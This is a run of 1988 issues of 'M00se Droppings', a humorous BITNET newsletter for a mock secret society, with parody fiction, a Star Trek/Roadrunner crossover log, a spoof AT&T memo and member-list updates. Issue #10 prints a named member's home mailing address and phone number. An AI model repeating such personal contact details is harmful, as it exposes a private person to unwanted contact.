>very suspicious. within two miles of each other are interesting exit names...
>
>such as:
>
> thr00p ( a combination of thr0ng and bl00op!)
> Dickson City
> m00sic
>
>honest and for true. you decide. is it coincedence or....m00sidence?
>
> pamela/mommydammit
--------------------------------------------------------------------------------
This issue also marks the first installment in Rich Simon's Philosophy Corner.
Here it is.
Is nothing anything? Is nothing something?
IS NOTHING SIMPLY NOTHING?
Frightening, isn't it. . . to think that
maybe, just POSSIBLY nothing is. . .
JUST NOTHING.
No more, no less than absolute nil. Nada.
Zilch. Zero.
Does that frighten you, to thing that there
might be no more to nothing than simple nothing?
It's just something to think about.
Or just nothing to think about at all.
Remember: If nothing is anything,
and anything is everything,
then it stands to reason that
nothing is everything. Therefore you
should worship nothing, for it is
everything.
Cut it if you wish, Bill.
But for god's sake don't believe it.
rich
--------------------------------------------------------------------------------
Beez wrote with lots of nonsensical tidbits. Among them:
>I located a T-Shirt that had Bullwinkle surfing saying Moose on the Loose. If
>you are interested, just write me....
>
>Beez is starting the Suave Ladies Man in quite dry clothing Association. It is
>an Anti-Manly Men in Wet Clothing movement. We really have nothing against
>Manly Men, except that we don't like getting wet. PsuedoSensitive Men need not
>apply. Write to Beez (rsrab@suvm) for your free subscription.
>
>(This article was not included in a report by the Daily Orange, the Syracuse
>University newspaper which can't even be considered yellow journalism. This
>copy was obtained thru bribery, torture and sleeping with the Chancellor's
>wife. All characters in this story are meant to be coincidental as blatant
>sarcasm is intended.)
>
>oops...i will submit the story later..I just got a call that university
>security wants to talk to me..looks like Alcatraz for the Beez..
>ill write to you later...bye guy
>
>Beez
Incidentally, I haven't heard from Beez since this letter. Does anybody
feel we should prepare for a rescue mission to free him from the clutches
of Security?
Beez also included two new additions to the M00se Illuminati Dictionary,
begun by Indiana Joe in the last issue.
phrase: M00se on the L00se: When a M00se visits a distant thr0ng for party
reasons.
Phrase: Meese on the Loose: a 80's happening that lead to the destruction of
western Civilization as we know it. No M00ses had
any part of this madness.
--------------------------------------------------------------------------------
Wolverine sent me the following song, which may have relevance in the decision
of who we should back in this election.
>The following lyrics are to a song written by two radio disk jockeys out in
>Indianapolis, poking fun at Senator Dan Quayle....
I Spent The War In Indiana
- ----- --- --- -- -------
I spent the war in Indiana
Getting shot was not for me
I never went to 'Nam
I never saw Saigon
I only watched it on TV
I spent the war in Indiana
I never saw a combat zone
While my buddies hid in foxholes dodging napalm
I was safe inside my Indiana home
<chorus>
He spent the war in Indiana
while his neighbors went to fight
He never did a hitch
'cause his daddy's rich
He was comfy and cozy at night
I spent the war in Indiana
To the Guard, I was on loan
And the only thing I killed were Hoosier weekends
I was safe inside my Indiana home
<chorus>
He spent the war in Indiana
in a summer camp platoon
He never had to fight
and how he's on the right
and he's singing a different tune
>Well, *I* think it's funny.....
>
>And to quote The Breather from the movie "Student Bodies":
>"What's in a name? EVERYTHING!"
-------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE **************
-------------------------------------------------------------------------------
Please add: ENLL6AC @ BUACCA Sabre
Please remove: BURNS @ MAINE Sabre
CHOBBIE @ SBCCVM Admiral Lord Nelson

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #10| Disclaimer: The Editor will place almost anything | Sep. 4, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
-----------------------------------------------------------------------------
************************** EDITORIALS AND LETTERS ***************************
-----------------------------------------------------------------------------
Well well well how very nice. Issue 10 is now out. And with it,
school has started again at nearly every college and university across the
nation, with the exception of UHa, due to management stupidity or something
like that. So what does this mean? It means that there are now thousands
of people on campuses, with bitnet access. And guess what? MANY OF THESE
PEOPLE AREN'T M00SES. You may be aghast; I know I am. It is our clear
duty to help these people by inviting them into our organization, unless,
of course, you don't want to. And so begins THE ANNUAL FALL M00SE ILLUMINATI
MEMBERSHIP DRIVE. Yes! Convince your friends to be m00ses! After all,
if we're going to confuse the population, there's no better way than to
get the population to help.
On another note, I had an idea to fill up some space in this
newsletter. Let me know what you think. Each issue, starting at the top
of the general list and working our way down, we'll include a *short* ID-file
type thing in the issue from one m00se. This will help us get to know those
m00ses we've never come into personal contact with, and perhaps make the
FBI's job a little easier if they're looking in. Hi guys! So, good idea,
or horrid?
Later,
-Pickle.
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
<< I mentioned in an earlier letter that James L. Anderson (Andersen?) was
not reachable. Apparently there is a gateway to Fidonet.... >>
Actually, iif you have the mailer setup correct, you can send to
hogbbs.ffidonet.org... (damn keyboardbounces) and if not you could
try jla%hogbbs.fidonet.org@hcx.psu.edu or @psuhcx.bitnet
that is a valid address on theinternet.
Bill
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
<< Kamikaze is again hard at work on MDNET Mk II, a new distribution network
that will hopefully be more efficient and reliable. This is what he needs,
respond to him or me. Please talk with the other m00ses at your node, so
we don't get multiple volunteers. It will make Kami's job that much easier
if we just get one "I'll do it" from each node. >>
Pickle-
What I need is a list of one person at each node who is willing to be a
distributor, both for within his/her/its node as well as forwarding copies
to other nodes, where needed. In the case of single person nodes, I need to
know if that one person is willing/able to handle distributing to other nodes.
The network model I am planning on creating will run along the same lines as
how the Relay network runs, when it does. Basically, each distributor will
send copies to all local users, any local nodes, and to the next major node
in the network. It's not firm yet, as I haven't looked at the structure of
where we are all located from this angle.
this would be so nice if we had a member m00se at cunyvm....
Kamikaze
<< Anybody got a friend at CUNY? Recruit him or her, if you do... >>
-------------------------------------------------------------------------------
******************************* EVENTS AND NEWS *******************************
-------------------------------------------------------------------------------
<< Wolverine asked me to include his movement announcement in this issue.... >>
"Papa was a rollin' stone
Wherever he laid his hat was his home..."
Yes folks, big news indeed. In my never-ending search for that illusive
creature, "A Fruitful and Successful Life", I am moving on to Ithaca, NY.
I will be living with Karen and John Godfrey, and can be reached there.
As for the computer, I will have an account, but until I know what the userid
is, I can be reached at Karen and John's account: B45J@CRNLVAX5. The move
will be taking place this Thursday, so after Wednesday afternoon, send any mail
to that account. To all my friends in the New York area, I'm looking forward
to seeing all you guys and getting the chance to spend time with you, and to all
my friends here in the area, don't forget about me, because I will be in the
area periodically, and I want to keep in touch with all of you. Here's how to
get in touch with me:
Mail: Frank Orzechowicz
170 Myers Road
Lansing, NY 14882
Phone: (607) 533-7786 [KEEP RUM]
Bitnet: for now, B45J@CRNLVAX5
I'll be logged on days here at Villanova from now through 4 pm on Weds,
and can be reached here. See you all around.
"These little town shoes
are longing to stray
I wanna' be a part of it
In <Central> New York
And if I can make it there
I'm gonna` make it anywhere
It's up to you New York New York"
<< Note: Wolverine's account has changed....it is in the update. >>
-------------------------------------------------------------------------------
***************************** FICTION AND POETRY ******************************
-------------------------------------------------------------------------------
We have none this issue. I expect some for next issue, however.
And incidentally, for a possible later story, how many of you play Car Wars?
Get in touch with me if you do.....
-------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE ****************************
-------------------------------------------------------------------------------
<< In the continuing expansion of the M00se Illuminati dictionary, this from
GypsyLynx. >>
footl00se m00se: any m00se who leaves his/her thr0ng and re-locates
within another thr0ng. ie: W0lverine, Guardian Angel.
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
<< Lord Rassilon reminds us of other presidential candidates. >>
Don't forget:
1) Max Headroom
2) Morris the Cat
3) Pat Paulsen
and this year's leading candidate
4) Mickey Mouse.
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
<< Lord Rassilon also sent this to me, although it came to him from another
source.>>
Propaganda has become almost an art form in recent years. While looking
through a delightful book about people dressed in armor hacking eachother
to pieces, I came across a beautiful chunk of it preceding a war. It comes
in two parts:
--------------------------------------------------------------------------------
Part I
A. We are so numerous that we are starving.
B. Therefore we must encourage still larger families so as to become yet
more numerous and starving.
C. When we are so numerous and starving as all that, obviously we shall
have a right to take other people's stores of seed. Besides, we shall by
then have a numerous and starving army.
--------------------------------------------------------------------------------
After part one has sunk in, and been employed, and the birth rate has been
trebled, whether anyone is actually starving or not, part two is begun:
--------------------------------------------------------------------------------
Part II
A. We are more numerous than they are, therefore we have a right to their
mash (food).
B. They are more numerous than we are, therefore they are wickedly trying
to steal our mash.
C. We are a mighty race and have a natural right to subjugate their puny
one.
D. They are a mighty race and are unnaturally trying to subjugate our
inoffensive one.
E. We must attack them in self defense.
F. They are attacking us by defending themselves.
G. If we do not attack them today, they will attack us tomorrow.
H. In any case, we are not attacking them at all. We are offering them
incalculable benefits.
--------------------------------------------------------------------------------
Kinda funny how it never sounds quite so ridiculous in real life.
---Fader
-------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE **************
-------------------------------------------------------------------------------
Please add:
Stony Brook thr0ng FNORD @ SBCCVM Fnord
Washington State U. thr0ng 90289872 @ WSUVM1 Cthulhu
And make the following changes:
Wolverine's new address is B45J @ CORNELLA, not CRNLVAX5. He is still part
of the Lansing thr0ng, however.
Which brings us to the other change.....Lansing is no longer the location
of a chapter, but a thr0ng.

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #11| Disclaimer: The Editor will place almost anything | Sep. 9, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
-----------------------------------------------------------------------------
************************** EDITORIALS AND LETTERS ***************************
-----------------------------------------------------------------------------
Hello all. As this issue is quite large, I won't include my own
editorial. Also, I haven't written one yet. However, the material in this
issue is (if I may say so) very good, and gives me hope that M00se Droppings
will not die due to a lack of submissions after all.
<< First, a lost-and-found notice....... >>
-----------------------------------------------------------------------------
" "
" Place "
" Photograph "
" Here "
" "
===========================================
Have you seen this lost M00se? His name is Sabre (aka Eric Burns) and
he has been missing from the Net for some days now. Suspicion has it
that he has been captured by the Brotherhood of Evil Relayers. If you
see him, please notify Wolverine at B45J@CORNELLA with info. There is a
reward. We now take you back to your regularly scheduled program.
------------------------------------------------------------------------------
<< We also have the following letter from Lord Rassilon: >>
Here at Wesleyan, the socially-conscious and politically-liberal
are beginning to continue their activities toward Divistment.
Any information you could furnish about the situation at your
own colleges would be helpful.
-------------------------------------------------------------------------------
******************************* EVENTS AND NEWS *******************************
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
***************************** FICTION AND POETRY ******************************
-------------------------------------------------------------------------------
<< THIS one speaks for itself. Please send some reader response, because
the author does not wish to write episode 2 if everyone hates episode 1. >>
***-> The Adventures of Super-M00se <-***
--- ---------- -- ----- -----
by CHAOS Engineer
Forward- All that follows is pure fiction and fallacy, with most rip-offs
being done on purpose. All puns on purpose and all violations
acknowledged. Any resultant health problems due to reading
these episodes are not the responsibility of the author.
Prelude:
In a forest in Maine, amongst the depths of the tall stands of
pine there was a m00se couple. Not just any m00se couple, mind you. They
had recently just escaped from the evil clutches of the U.S. Government,
after being subject to weird experiments beyond all description. Mrs m00se
was currently in the throes of labour, giving birth to her and Mr. m00se's
first child. It was a momentous event indeed. Soon, the proud couple stood
over their son, but it was obvious that he was not an ordinary m00se.
"Somehow dear, I just don't think our son is a normal m00se. He
looks so much like those men we escaped from."
"You're right, love, but dammit, I just gave birth to the tyke,
and he is our child, no matter what."
"But we can't raise him here. We lack the facilities to raise him
as a proper m00se. We have no choice but to see to it that he receives
an education."
Filled with remorse, Mrs. m00se acknowledged the wisdom of her husband.
Taking the picnic basket they had found on their way here, the m00se couple
put their first born in it, and headed off to the ranger station, filled
with remorse, but buoyed ever so slightly by the knowledge that they were
doing the correct thing.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Ranger Bob Was awakened early that morning by a wailing outside
his door. What in the name of tarnation could it be, he wondered. Stuffing
his feet into his slippers and pulling on his robe, Ranger Bob went to his
door to investigate, when what did he see but a picnic basket on his stoop
with a small babe in it. "What in tarnation's name!" he exclaimed, as he
bent over to pick up the basket, and taking it inside out of the cold morning
air. Odd he thought, no note. Only m00se teeth marks on the basket's handle
(Ranger Bob knew the marks to be m00se teeth marks, since he was indeed
an expert on m00sey things.) Well, I guess I'll just raise him as my own,
thought Ranger Bob.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
As the years wound by, Ranger Bob found out that his adopted son,
Mark Kent (Ranger Bob's full name being Robert Clark Kent), was not an ordinary
boy by any accounts. He grew fast, and was stronger than a normal boy.
Ranger Bob knew that someday he would have to reveal to Mark his mysterious
background. After twenty some odd years had passed, and Mark had completed
college, Ranger Bob sensed that it was now time to tell Mark of his background.
"Mark."
"Yes father"
"I have something to tell you Mark. It concerns your past. I know
that I have told you that you are my adopted son, but there is more. When
I found you, you were on my stoop in a picnic basket that bore no identifying
marks save m00se teeth marks on the handle. I knew these to be m00se teeth
marks since I am an expert on m00sey things, and have passed the m00se lore
onto you as well. Also I have noted that you are much stronger than a normal
man your age, as you are aware. I suspect that you have a hidden past that
neither of us are aware of. Thus, I believe that you should go into the woods
and perform the sacred m00se dance that I taught you and seek to contact
Leviam00se and learn your true origin."
"You believe that this will be of use father?"
"I do my son, since I am wise in the ways of m00sey things, as were
my fathers before me, the sacred m00se lore passed down from generation to
generation."
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Mark ventured out into the pines, taking with him the necessary
items to complete the scared m00se dance. Walking a great distance, Mark
eventually came to the copse his father had told him of. Clearing out the
fire pit, Mark made ready to perform the dance. Make the fire in which
to burn the dried m00se droppings incense. Paint the face in ritual way
of the m00se. Ready, Mark danced and chanted, every so often tossing the
incense into the fire. He felt the power in him rise, and began to feel
light and heady. Soon, he was ready to meditate and complete the ritual
to call upon Leviam00se.
"Leviam00se." nothing
"Leviam00se!" still nothing
"LEVIAM00SE!" bellowed Mark, and he was rewarded. His vision hazed
over, and cleared to the sight of the pyramid. Eleven tiered, with the
single eye and the antlers. Leviam00se. Sitting in a large straight back
chair at the foot of the pyramid was a tall man with the head of a m00se,
the brown fur amply dosed with gray. Strange that Leviam00se should choose
to manifest himself in this way.
"Greetings, Mark, adopted son of Ranger Bob and child of Mr. and
Mrs. m00se." Leviam00se spoke to mark in amazingly good english considering
that the formation of his jaw structure should have made it impossible for
him to do so.
"Greetings O great and wise Leviam00se" replied Mark. "How is it
that you speak such good english when your jaw structure should not allow
you to do so."
"It is a m00sey thing, Mark. You need not concern yourself with
it. But, let us get to the point. You are here at the urgings of your
adopted father to seek your past, so gaze now into the eye of the pyramid
of Leviam00se, and let all be revealed." Mark watched raptly, as he saw
his true mother and father being experimented on by scientists of the U.S.
Government, doing horrible and perverse things to them, saw how they escaped
to the woods where he was born, how he was taken to Ranger Bob to be raised
and educated. The rest he knew, and the spectacle stopped.
"Now Mark, let me continue. You are possessed of great powers,
and must use them to combat the forces of anti-m00sey-ness. Henceforth,
whenever you say my name, the full force of your abilities shall be unleashed,
and the foes of Leviam00se shall tremble in fear at the powers of
*********** SUPERM00SE ***********
(for dramatic effect, please imagine that there is a blaring triumphant
fan-fare/symphonic score in place here. Something like Beetohven's fifth
would be appropriate.)
say now my name, Mark, and feel your power and birth-right."
Mark stood, feeling a bit perplexed and more than a bit awed at
the immensity of it all, and spoke Leviam00se's name. "Leviam00se!"
There was a sharp peal of thunder, and in Mark's place stood
Superm00se, tall, strong, powerful. A man, tall, powerfully built, garbed
in a very tacky pink suit with the pyramid symbol on the chest in fluorescent
green, but most importantly, with a m00se's head, with a MAGNIFICENT set
of antlers.
"You are now Superm00se, Mark. You must now go forth and battle
as the champion of m00se-kind and those non m00ses oppressed by evil-doers.
You must however, ware well your one weakness. I call it m00se-ite, but
that is not it's true name. It is the foul concoction with which your mother
was injected before your birth. It is a mixture of caffeine free diet
Coke, Illudium Pu-38, Vidal Sasson hair spray, and Limburger cheese, a foul
and devious mixture if ever there was one. It will rob you of your m00sey
abilities. I suggest you avoid holding heavy objects over your head if
you run a good chance of being exposed to it."
"You are very wise, O Leviam00se. It shall be as you say."
"Go now Mark, and do my bidding." Mark's vision became obscured,
and when it cleared, he once again found himself in the clearing, a man
of normal appearance.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Returning home, Mark was met by his father at the door. "How did
it go son?"
"I saw Leviam00se, and he did tell me what I must do, and he gave
unto me my birth-right and full powers. I now know what I must do. I shall
go to Gothopolis, and get a job with _The_Daily_Gonad_ as a mild mannered
reporter. There, I will be able to do battle against those who would seek
to harm and oppress m00se kind."
"Why, that's a noble thing to do son. I wish you luck."
********-> Next episode, watch as Mark goes to Gothopolis and gets a job
and has his first encounter with the evil forces that oppose
m00se kind.
-------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE ****************************
-------------------------------------------------------------------------------
<< And now, for two rather hilarious contributions by Wolverine. I don't know
where they come from originally. >>
What with Tom Sellick appearing on Murder She Wrote, Jessica appearing
on Magnum P.I., and characters from Dynasty and Dallas constantly
getting cofused as to which set they should go to, have you ever
wondered what would happen if this was followed to it's natural
end? For example, suppose Captain James T. Kirk met the Roadrunner.
This means, of course, that we must somehow integrate the Saturday
Morning Laws of Physics into the Star Trek universe.
i.e.: 1) Sentient creatures do not fall until they realize they are
about to.
2) Objects fall at a rate inversely proportional to their mass
(otherwise known as "Anything falls faster than an anvil")
Now, if we assume that this is an effect of the Road Runner, as opposed
to some general joke of the universe (although, I admit I have never
seen an anvil descending over Kirk's head while he was falling), then we
can expect other effects, as well. Notably:
1) Anything struck by a deadly weapon (presumably including phasers) is
not killed, but merely singed and stunned (somehow "He's covered with
soot, Jim" just doesn't carry, though).
2) Crewmembers surprised by the Roadrunner jump much higher than gravity
should allow.
Now, the difficulty here is that there must be some reason for the
encounter. Remembering that the Roadrunner is a fairly self-centered
beast, the motivation for the episode must come from the Federation in
some form. Let us suppose that the Enterprise is doing some sort of
research mission to an unknown planet. I think the Captains Log would
be worth a look:
Captain's Log, Stardate 54324.5: Starfleet Command has directed the
Enterprise to do a preliminary exploration of planet --- in advance of a
full research team. Scanners report the atmosphere to be breathable,
but are recieving confusing readings with regard to life forms. I am
beaming down with a landing party composed of all our chief officers
except for poor Scotty.
Supplement: Redshirt Riley has received a head injury, apparently while
exploring under a high rock shelf. He reports only hearing a loud sound
and jumping before being struck. After examination by Dr. McCoy he has
been judged capable of continuing duty.
Supplement: We have encountered an alien creature on this planet.
While it does not itself seem menacing, a unfortunate occurance took
place when it was present. Specifically, on my orders Lt. Sulu
withdrew his phaser. The creature disappeared leaving a puff of smoke,
immediately following which a loud noise was heard next to Sulu. Sulu
fired, hitting Ens. Chekov. Oddly enough, although Sulu's weapon was
set to stun, Chekov was also covered with a black powder similar to
soot. Mr. Chekov has been sent back to the ship for examination and
quarantine.
Stardate 54326.2, Mr. Spock reporting: Tricorder readings indicate that
the creature we encountered earlier is constantly moving at great speed
over the surface of the planet. We have encountered the creature once
again. In an attempt to slow the creature for study, I attempted to
fire on it. The creature, however, appeared to move faster than the
phaser beam. Regretfully, the beam struck an outcropping of rock above
the Captain's head, causing it to break off and fall. Although it
appears that several tons of rock fell squarely on the Captain, he was
driven straight into the ground but apparently not seriously injured,
though stunned. The Captain has been beamed up to Sickbay, leaving me
in command of the research party.
Captain's Log, Stardate 54342.1: The creature is still at large on the
planet surface. While Mr. Spock continues to lead a research party I am
currently at work with Mr. Scott on an Acme Pressure Cooker for our lab,
for when the creature is finally apprehended.
Captain's Log, stardate 54342.3. The strange occurences that have
dogged the landing party since our arrival at this planet have led me to
believe that the creature is in some way directly responsible for them.
Mr. Chekov and I have both been declared fit for return to duty, though
Dr. McCoy has entered in his medical log that he feels we should be kept
under observation. Mr. Spock has constructed a device which he suspects
should be able to counteract the creature's incredible speed as follows:
We have placed a dish of birdseed out in the open, with several signs
pointing to it. The dish is atop a cleverly concealed trap door, which
will open when any weight falls on it. The creature will then travel a
slide, eventually being deposited in a cage constructed of sheets of
transparent aluminum. We will then be free to analyze it at our
leisure. Meanwhile, I have forbidden all beaming down to the surface of
the planet except on my or Mr. Spock's direct order.
Captain's Log, supplemental. The plan failed. The creature was indeed
lured by the birdseed, as expected. It sped to the dish, consumed the
bait, and sped off without setting off the trap. Mr. Spock is as
puzzled as I, and has begun tests to discover the flaw in the design. I
have sent out three search parties to see if we can box the creature in,
one headed by Mr. Sulu, one by Mr. Chekov, and one by Sociologist
Xontel.
Captain's Log, stardate 54342.8. Sociologist Xontel has been
temporarily incapacitated. In pursuing the creature, he and his men
somehow managed to cross the place where Mr. Spock's trap was set just
as he completed the corrections to it. The trap was sprung, and all
four of my men were suspended for a moment in mid-air, puzzled, just
before they fell into the cage we constructed. We are now trying to
release them with phasers, as the lock was inadvertently smashed by the
impact from Sociologist Xontel's foot as he fell. I consider this a
major setback. Mr. Spock considers it "fascinating."
Captain's Log, stardate 54343.4. In an all-out attempt to stop the
creature once and for all, I have had a phaser rifle beamed down from
the Enterprise. The creature has behaved in an extremely cunning
manner, yet I am unsure whether this is a sign of actual intelligence.
Lt. Uhura has been unsuccessful in her attempts to raise Starfleet
Command. Meanwhile, Mr. Scott informs me that our dilithium crystals
are deteriorating at an alarming rate. He has juryrigged a system that
will prevent the decay for a time, but it is imperative that we find new
crystals soon.
Captain's Log, supplemental. Mr. Sulu reports high energy tricorder
readings from an area of the planet in which the creature has not yet
been sighted. He has taken a small party, including Mr. Spock, to the
high-elevation spot from which the readings emanate. I have begun to
analyze the creature's movements. It seems to travel consistently over
a set path. Perhaps we can corner it in a tunnel it seems to pass
through frequently.
Captain's Log, stardate 54344.7. Mr. Sulu has located a cache of ACME
dilithium crystals atop a high cliff. Regretfully, while collecting
them, the edge of the cliff broke off, and he and Mr. Spock plummetted
several hundred feet to the ground below. Strangely enough, they both
survived the fall with no more than raising a cloud of dust on impact,
although they did pass the chunk of rock on the way down and end up
completely buried. A rescue excavation has commenced, and they should
be safe shortly.
Captain's Log, stardate 54344.9. Mr. Spock has beamed up to the ship
with them to assist Mr. Scott in their installation, as he forsees
compatability problems. Back on the planet's surface, Mr. Chekov led
seven men into the tunnel in an attempt to capture the creature in
transit. A loud BEEP, BEEP was heard, and Chekov aimed the phaser rifle
and commanded his men to spread out. I wish to state for the record
that I would have acted similarly, and that Ensign Chekov should in no
way be held responsible for the unfortunate circumstances arising from
the unexpected appearance of an old Earth-style freight train. He has
been beamed back up to the ship with minor injuries.
Captain's Log, stardate 54345.1. Dr. McCoy has beamed down with a hypo
containing a mixture of kyranide, tri-ox compound, Scalosian
concentrate, a theragram derivative, and some other items he found in
unmarked containers in Sickbay. By injecting a small amount into each
member of the landing party, I hope to be able to deal with the creature
on its own high speed terms.
Captain's Log, supplemental. The latest experiment to deal with the
strange creature has failed. As Dr. McCoy was injecting a measured dose
of the compound, it abruptly appeared behind him and uttered a loud
BEEP, BEEP! Dr. McCoy, understandably flustered, accidentally pressured
in the entire contents of the hypo into his arm. A full security team
is in pursuit of him, waiting for the effects of the drug to wear off.
Captain's Log, stardate 54345.2. I have ordered the landing party
transported back to the ship. The new dilithium crystals have been
successfully installed. On my responsibility, the ship is preparing to
engage main phasers to attack the creature, which continues on its
semi-erratic course across the planet's surface.
Captain's Log, supplemental. This is a warning to all other starships
that may pass this way. Do not approach this planet! The illogical
events occuring here are too much to overcome with simple science. If
you have heard the events transcribed in the rest of this log, you will
learn that this creature is nearly undefeatable. We channelled full
ship's power through the phaser banks. Theoretically, the creature
should have been destroyed; however, the energies were too much strain
for the ACME crystals. The full force of the phasers backlashed over
the Enterprise, engulfing her completely. At first, the only noticeable
effect was a complete failure of all systems save emergency gravity and
life support. Then a web of black lines spread through the Enterprise's
superstructure. Next, the ship began breaking up, piece by piece,
falling through the atmosphere to land on the surface of the planet.
When the ship had collapsed entirely, my crew was left hanging in space
for a short time, and finally each of us began to fall to the planet
below. We have no theories on how any of us survived, but every
crewmember has reported nothing more than a sense of uneasiness,
followed by the realization that they were several hundred miles up in
the air, a sinking sensation, and then a gradual drop: first the feet,
then the body, and finally the head, usually wearing a resigned
expression of perplexion. We are attempting now to communicate with the
creature in the hopes that it will prove intelligent. Perhaps we can
communicate our peaceful intentions to it. Mr. Spock has constructed a
crude rocket launcher from the wreckage of the ship, and with this we
hope to send the recorder marker up into space, where hopefully someone
will find it. Captain James T. Kirk, of the United Federation of
Planets, Captain of the Starship Enterprise, recording.
******* end message *******
--------------------------------------------------------------------------------
AT&T Customer Service Memorandum
Please stop submitting compliants. This is our system. We designed
it, we built it, and we use it more than you do. If there are some
features you think might be missing, if the system isn't as effective
as you think it could be, TOUGH! Give it back, we don't need you.
See figure 1.
*-------------------------------*
| _ |
| | | |
| | | |
| .-.| |.-. |
| .-| | | |.-. |
| | | | ; |
| \ ; |
| \ ; |
| | : |
| | | |
| | | |
| |
*-------------------------------*
Figure 1.
Forget about your silly problem, let's take a look at some of the
features of your AT&T computer system.
* Options
We've got lots of them. So many in fact, that you would need two
strong people to carry around the documentation if we had bothered
to write it. So many that even we don't know what most of them do.
Don't ask us for any of these options, because we probably can't
find the PEC for it anyway. Even if we find the PEC, we probably
can't order it either (just TRY asking for nroff on a 3B2). If you
don't like it, call Technologies. They'll tell you to see Figure 1.
* Hot Lines
If you need technical help, call our hotline. You say that the guy
at the other end doesn't know any more than you do? Too bad. If we
could afford to pay qualified people to answer the phones, we'd be
paying them to make our computers work in the first place. Besides,
you don't ever need to do anything sophisticated anyway. If you do,
see Figure 1.
* Integrated Voice and Data
What the hell is integrated voice and data? All it means is that
you can talk on the phone while you are typing on your terminal.
So what if the terminal and the phone aren't integrated; that's
not what we advertise. Besides, you probably can't even walk and
chew gum at the same time, much less talk and type. If you can,
see Figure 1.
* Unix
We invented it; it's perfect, and we're the only ones who do it
right. We're so happy with it, we put it on every kind of computer
we make. We even try to keep it the same from release to release,
but usually we blow it. If you want a computer with stable file-
systems, get a VAX. Another thing: those nerds from Berkeley are
just troublemaking hackers who have a productivity complex. They
took our operating system and made it useful, so we told them to see
Figure 1.
* Applications Software
We give you MS-word; what else do you want? So what if it is a
clumsy port from another operating system, it works doesn't it?
Well, OK, it sort of works. If you want applications software, get
an IBM PC. You can get lots of it and they even support it
sometimes. If you already bought one of our computers and are
unsatisfied, you're stuck with it. We spoke with our applications
software people about this, and they think a lot like we do; they
said "see Figure 1."
* Shells
We have two shells; one we sell and one we use. The Bourne shell is
plenty good for trivial little hacks, which is all you do anyway.
Don't ask for the Korn shell either. It's great, everybody at AT&T
has a copy, but we won't give it to you. Besides, if you want to do
anything important, write it in C. We told our shell programmers to
see Figure 1 a long time ago.
* The C Programming Language
We like it so much we named a book after it. You can do anything
our machines can do, which is not very much. Where else can you
put so much unreadable code in such a small space? Besides, you
probably should be programming in the shell anyway; C is too hard
for you. We told our C programmers to see Figure 1 a long time
ago anyway.
* Floating Point Hardware
We have the WE32106 Math Accelerator Unit, one of the fastest chips
around. It's so special that you need a special compiler to use it.
Nobody knows how to get you a copy of the compiler? That's right.
We don't release it because we are writing another one. When it's
ready, we might give it to you, but probably not. In the meantime,
you have to stick with the interpreter, live with the slowness, and
see Figure 1.
* Support
We have thousands of service people out there, but most of them are
busy. If your computer breaks, you will just have to wait. Our
techs are rehashed phone installers, so don't expect them to be very
helpful unless it involves tip and ring. Oh, if something breaks
between 5:00 PM and 9:00 the next morning, don't waste your time
calling us, we're out. We also take lots of lunch breaks. If you
need real support, see Figure 1.
In conclusion, stuff your complaint. Love your AT&T computer or
leave it, but don't bitch to us. We don't give a shit. We don't
have to. We're the phone company.
-------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE **************
-------------------------------------------------------------------------------
Add:
Wesleyan thr0ng LBURKA @ WESLEYAN Leather Goddess
Change:
North Dakota State U. chapter UD140680 @ NDSUVM1 Nathan Irwin
to: The Anachronist
The Penn State chapter is now a thr0ng!
And until further notice, Guardian_A is reachable through GypsyLynx's account.

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D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #12| Disclaimer: The Editor will place almost anything | Sep. 19, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
So, here we are with Issue #12! Things are progressing nicely in the
M00se Illuminati. We continue to expand, some goals are being set, interesting
activities are being carried out.
One thing you may be interested in is the description of CHAOS Engineering
in M00se.Info. I intend to update the file a bit myself, and then anybody who
wants the new version can ask me for it. If enough people want it, I'll just
send it out along the distribution net.
Which brings us to the one problem we have. Virtually nobody is answering
the question about distributors. Once again, we need one person at each node
to distribute for that node, and we need to know if that person is also willing
to forward a copy to the next major server node in line. We want answers from
those who are alone at a node; even if you won't be distributing to others at
your own node, are you willing to send a copy along to the next node in line?
PLEASE get back to me on this ASAP, Kamikaze can't design a new MDNET without
this information. Since the current one has holes in it, and some people may
not be getting their issues, we want to take care of this as soon as possible.
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
